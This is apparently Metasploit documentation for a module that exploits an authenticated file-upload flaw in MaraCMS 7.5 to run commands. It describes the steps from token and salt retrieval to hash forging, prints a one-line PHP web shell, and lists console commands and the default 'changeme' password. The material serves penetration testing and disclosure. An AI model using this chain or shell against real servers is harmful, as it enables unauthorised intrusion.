## Vulnerable Application
This module exploits an arbitrary file upload vulnerability in MaraCMS 7.5 and prior in order to execute arbitrary commands.

The module first tries to obtain the MaraCMS version from `/about.php` (for MaraCMS 7.5, the version number mentioned is `7.2`.)
The module then visits `/?login` to obtain the `shash` token, which is required for authentication. Next,
the module sends an HTTP POST request to `codebase/handler.php` in order to obtain the salt used by MaraCMS to create password hashes.
The module then uses the `shash` token and the salt to create the required authentication hashes,
and sends these via a second HTTP POST request to the handler.

If authentication is successful, the module tries to upload a malicious PHP file to the web root,
again via an HTTP POST request to `codebase/handler.php.`
If the `php` target is selected, the payload is embedded in the uploaded file
and the module attempts to execute the payload via an HTTP GET request to this file.
For the `linux` and `windows` targets, the module uploads a simple PHP web shell similar to `<?php system($_GET["cmd"]); ?>`.
Subsequently, it leverages the CmdStager mixin to deliver the final payload via a series of HTTP GET requests
in the form of `/<php_web_shell>?<cmd>=<payload>`.

Valid credentials for a MaraCMS `admin` or `manager` account are required.
This module has been successfully tested against MaraCMS 7.5 running on Windows Server 2012 (XAMPP server).

Vulnerable software for testing can be downloaded [here](https://sourceforge.net/projects/maracms/).
Installation is just a matter of unzipping the package to a php-capable webhost.
The requirements specified on SourceForge are an Apache or equivalent webserver (LightTPD, Nginx, etc.)
and a PHP version from 5.3 to 7.1.1. Both of these requirements can easily be fulfilled by downloading
an older version of XAMPP server for Windows or Linux from [here](https://sourceforge.net/projects/xampp/).
MaraCMS does not require a database, nor an installation script.

## Verification Steps
1. Install the module as usual
2. Start msfconsole
3. Do: `use exploit/multi/http/maracms_upload_exec`
4. Do: `set RHOSTS [IP]`
5. Do: `set USERNAME [username for the MaraCMS account]`
6. Do: `set PASSWORD [password for the MaraCMS account]`
7. Do: `set target [target]`
8. Do: `set payload [payload]`
9. Do: `set LHOST [IP]`
10. Do: `exploit`

## Options
### PASSWORD
The password for the MaraCMS account to authenticate with. The default value is `changeme`,
as this is the default admin password for MaraCMS.
### TARGETURI
The base path to MaraCMS. The default value is `/`.
### USERNAME
The username for the MaraCMS account to authenticate with. The default value is `admin`.

## Targets
```
Id  Name
--  ----
0   PHP
1   Linux
2   Windows
